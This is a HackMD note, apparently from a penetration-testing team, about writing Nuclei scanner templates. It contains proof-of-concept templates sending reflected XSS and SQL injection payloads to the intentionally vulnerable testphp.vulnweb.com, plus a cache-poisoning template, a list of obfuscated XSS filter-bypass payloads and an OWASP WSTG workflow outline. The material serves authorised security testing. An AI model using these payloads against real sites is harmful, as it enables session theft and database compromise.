Bram Ruttens
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
Publish Note

Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

Your note will be visible on your profile and discoverable by anyone.
Your note is now live.
This note is visible on your profile and discoverable online.
Everyone on the web can find and read all notes of this public team.
See published notes
Unpublish note
Please check the box to agree to the Community Guidelines.
View profile
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
Nuclei summarized: Same concept as nessus, but free and community-driven with templates. More than 2000 templates so far and still growing Scanning can be customized by creating profiles and workflows What did we do: Looking at other templates to understand the concept, made some simple PoC's for XSS and SQLI Future plans: Write new templates to automatize as much as possible for pentest assignments Workflows allow you to use multiple templates (so multiple vulnerabilities) to check them in a sequential way. Workflows can be customized in a stronger way : create conditional template execution based on found versions of technologies, for example # Nuclei Templates - Look for low-hanging fruits - header misconfiguration - https://github.com/projectdiscovery/nuclei-templates/pull/2481/files/0ef631dce102db77f5d848cc97eb3da0cbc77e7b#diff-deb2a989e89059f886e99133da30d32a767e72cc0622237487139c4e1a597bf1 - cookie protection What are we thinking of here? Nuclei doesn't authenticate afaik, so how would we check the session cookies for flags in nuclei? I think burp is better suited for this part - server fingerprinting Nuclei has modules for detecting apache, nginx etc already. So I guess this part is not neccesary unless there are further thoughts to this? - accepted HTTP methods I haven't found any templates for testing trace/options etc, so maybe some modules for this? Burp does this already though - session cookie strength / randomization - interesting files - Look for XSS Injections - Reflected - Stored - DOM-based - Universal # PoC Showcase Templates ## XSS ```yaml= id: acunetix-testphp-rxss info: name: Reflected XSS author: ocd severity: high requests: - raw: - | POST /search.php?test=query HTTP/1.1 Host: testphp.vulnweb.com Content-Length: 75 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://testphp.vulnweb.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://testphp.vulnweb.com/ Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection: close searchFor=%3Cscript%3Ealert%28%22sensecon21%22%29%3C%2Fscript%3E&goButton=go matchers: - type: word words: - "sensecon21" ``` ![](https://i.imgur.com/gRNFxmw.png) ## SQL Injection ```yaml= id: acunetix-testphp-sqli info: name: SQL Injection author: ocd severity: high requests: - raw: - | POST /userinfo.php HTTP/1.1 Host: testphp.vulnweb.com Content-Length: 27 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://testphp.vulnweb.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://testphp.vulnweb.com/login.php Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection: close uname=test%27+OR+%271&pass= matchers: - type: word words: - "John Smith" ``` ![](https://i.imgur.com/fulEeme.png) # External templates by others - DOM XSS https://github.com/geeknik/the-nuclei-templates/blob/main/dom-xss.yaml - Cache poisoning: ```yaml= id: cache-poisoning info: name: Cache Poisoning author: melbadry9 & xelkomy severity: low requests: - raw: - | GET /?mel=9 HTTP/1.1 X-Forwarded-Prefix: cache.melbadry9.com X-Forwarded-Host: cache.melbadry9.com X-Forwarded-For: cache.melbadry9.com - | GET /?mel=9 HTTP/1.1 req-condition: true matchers: - type: dsl dsl: - 'contains(body_2, "cache.melbadry9.com") == true' ``` # Payloads/data for modules: - XSS: ``` \\\\%22-alert(1)}// \'-alert(1)// onload=alert(1) x=" \”}})})-confirm`1`/*/ [].pop.constructor`alert\x281\x29``` \”}})})-confirm`1`(a=>{({b:{/*/// `/alert?.(1)'"><Svg/OnLoad='` alert?.(document?.domain)[document?.domain]?.map?.(alert) top?.[/ale/?.source+/rt/?.source]?.(document?.[/dom/?.source+/ain/?.source]) <Svg/Onload=top%5B"al"%2B"ert%5D(1)// %27onfocus="1>1<alert(1)//contenteditable/autofocus=%27 <k>Javas<k></k>cript:al<k></k>ert(1)</k> <Svg id=innerText OnLoad=location=all[11][id]> ``` https://portswigger.net/web-security/cross-site-scripting/cheat-sheet # Workflows ```yaml= # ____ _ _____ _____ ____ _ ___________________ # / __ \ | / / | / ___// __ \ | | / / ___/_ __/ ____/ # / / / / | /| / / /| | \__ \/ /_/ / | | /| / /\__ \ / / / / __ # / /_/ /| |/ |/ / ___ |___/ / ____/ | |/ |/ /___/ // / / /_/ / # \____/ |__/|__/_/ |_/____/_/ |__/|__//____//_/ \____/ # id: owasp-wstg-workflow info: name: OWASP WSTG Workflow author: Sensepost workflows: ######################### # Information Gathering # ######################### # WSTG-INFO-01 Conduct Search Engine Discovery Reconnaissance for Information Leakage # Currently manual testing/verification # WSTG-INFO-02 Fingerprint Web Server - template: technologies/ # WSTG-INFO-03 Review Webserver Metafiles for Information Leakage # WSTG-INFO-04 Enumerate Applications on Webserver # WSTG-INFO-05 Review Webpage Content for Information Leakage # WSTG-INFO-06 Identify application entry points # WSTG-INFO-07 Map execution paths through application # WSTG-INFO-08 Fingerprint Web Application Framework # WSTG-INFO-09 Fingerprint Web Application # WSTG-INFO-10 Map Application Architecture ############################################### # Configuration and Deploy Management Testing # ############################################### # WSTG-CONF-01 Test Network Infrastructure Configuration # WSTG-CONF-02 Test Application Platform Configuration # WSTG-CONF-03 Test File Extensions Handling for Sensitive Information # WSTG-CONF-04 Review Old Backup and Unreferenced Files for Sensitive Information # WSTG-CONF-05 Enumerate Infrastructure and Application Admin Interfaces # WSTG-CONF-06 Test HTTP Methods # WSTG-CONF-07 Test HTTP Strict Transport Security # WSTG-CONF-08 Test RIA cross domain policy # WSTG-CONF-09 Test File Permission # WSTG-CONF-10 Test for Subdomain Takeover # WSTG-CONF-11 Test Cloud Storage ############################### # Identity Management Testing # ############################### # WSTG-IDNT-01 Test Role Definitions # WSTG-IDNT-02 Test User Registration Process # WSTG-IDNT-03 Test Account Provisioning Process # WSTG-IDNT-04 Testing for Account Enumeration and Guessable User Account # WSTG-IDNT-05 Testing for Weak or unenforced username policy ########################## # Authentication Testing # ########################## # WSTG-ATHN-01 Testing for Credentials Transported over an Encrypted Channel # WSTG-ATHN-02 Testing for Default Credentials # WSTG-ATHN-03 Testing for Weak Lock Out Mechanism # WSTG-ATHN-04 Testing for Bypassing Authentication Schema # WSTG-ATHN-05 Testing for Vulnerable Remember Password # WSTG-ATHN-06 Testing for Browser Cache Weaknesses # WSTG-ATHN-07 Testing for Weak Password Policy # WSTG-ATHN-08 Testing for Weak Security Question Answer # WSTG-ATHN-09 Testing for Weak Password Change or Reset Functionalities # WSTG-ATHN-10 Testing for Weaker Authentication in Alternative Channel ######################### # Authorization Testing # ######################### # WSTG-ATHZ-01 Testing Directory Traversal File Include # WSTG-ATHZ-02 Testing for Bypassing Authorization Schema # WSTG-ATHZ-03 Testing for Privilege Escalation # WSTG-ATHZ-04 Testing for Insecure Direct Object References ############################## # Session Management Testing # ############################## # WSTG-SESS-01 Testing for Session Management Schema # WSTG-SESS-02 Testing for Cookies Attributes # WSTG-SESS-03 Testing for Session Fixation # WSTG-SESS-04 Testing for Exposed Session Variables # WSTG-SESS-05 Testing for Cross Site Request Forgery # WSTG-SESS-06 Testing for Logout Functionality # WSTG-SESS-07 Testing Session Timeout # WSTG-SESS-08 Testing for Session Puzzling # WSTG-SESS-09 Testing for Session Hijacking ########################### # Data Validation Testing # ########################### # WSTG-INPV-01 Testing for Reflected Cross Site Scripting # WSTG-INPV-02 Testing for Stored Cross Site Scripting # WSTG-INPV-03 Testing for HTTP Verb Tampering # WSTG-INPV-04 Testing for HTTP Parameter Pollution # WSTG-INPV-05 Testing for SQL Injection - template: sqli.yaml !*CHANGE_PATH_FOR_POC* # WSTG-INPV-06 Testing for LDAP Injection # WSTG-INPV-07 Testing for XML Injection # WSTG-INPV-08 Testing for SSI Injection # WSTG-INPV-09 Testing for XPath Injection # WSTG-INPV-10 Testing for IMAP SMTP Injection # WSTG-INPV-11 Testing for Code Injection # WSTG-INPV-12 Testing for Command Injection # WSTG-INPV-13 Testing for Format String Injection # WSTG-INPV-14 Testing for Incubated Vulnerability # WSTG-INPV-15 Testing for HTTP Splitting Smuggling # WSTG-INPV-16 Testing for HTTP Incoming Requests # WSTG-INPV-17 Testing for Host Header Injection # WSTG-INPV-18 Testing for Server-side Template Injection # WSTG-INPV-19 Testing for Server-Side Request Forgery ################## # Error Handling # ################## # WSTG-ERRH-01 Testing for Improper Error Handling # WSTG-ERRH-02 Testing for Stack Traces ################ # Cryptography # ################ # WSTG-CRYP-01 Testing for Weak Transport Layer Security # WSTG-CRYP-02 Testing for Padding Oracle # WSTG-CRYP-03 Testing for Sensitive Information Sent via Unencrypted Channels # WSTG-CRYP-04 Testing for Weak Encryption ################## # Business logic # ################## # WSTG-BUSL-01 Test Business Logic Data Validation # WSTG-BUSL-02 Test Ability to Forge Requests # WSTG-BUSL-03 Test Integrity Checks # WSTG-BUSL-04 Test for Process Timing # WSTG-BUSL-05 Test Number of Times a Function Can be Used Limits # WSTG-BUSL-06 Testing for the Circumvention of Work Flows # WSTG-BUSL-07 Test Defenses Against Application Mis-use # WSTG-BUSL-08 Test Upload of Unexpected File Types # WSTG-BUSL-09 Test Upload of Malicious Files ####################### # Client Side Testing # ####################### # WSTG-CLNT-01 Testing for DOM-Based Cross Site Scripting # WSTG-CLNT-02 Testing for JavaScript Execution - template: reflected-xss.yaml !*CHANGE_PATH_FOR_POC* # WSTG-CLNT-03 Testing for HTML Injection # WSTG-CLNT-04 Testing for Client Side URL Redirect # WSTG-CLNT-05 Testing for CSS Injection # WSTG-CLNT-06 Testing for Client Side Resource Manipulation # WSTG-CLNT-07 Test Cross Origin Resource Sharing # WSTG-CLNT-08 Testing for Cross Site Flashing # WSTG-CLNT-09 Testing for Clickjacking # WSTG-CLNT-10 Testing WebSockets # WSTG-CLNT-11 Test Web Messaging # WSTG-CLNT-12 Testing Browser Storage # WSTG-CLNT-13 Testing for Cross Site Script Inclusion ############### # API Testing # ############### # WSTG-APIT-01 Testing GraphQL ```

Import from clipboard

Paste your markdown or webpage here...

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template has been removed or transferred.
Upgrade
All
  • All
  • Team
No template.

Create a template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

Slide Example

API Docs

Edit in VSCode

Install browser extension

Contacts

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Get Full History Access

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

Note content is identical to the latest version.
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully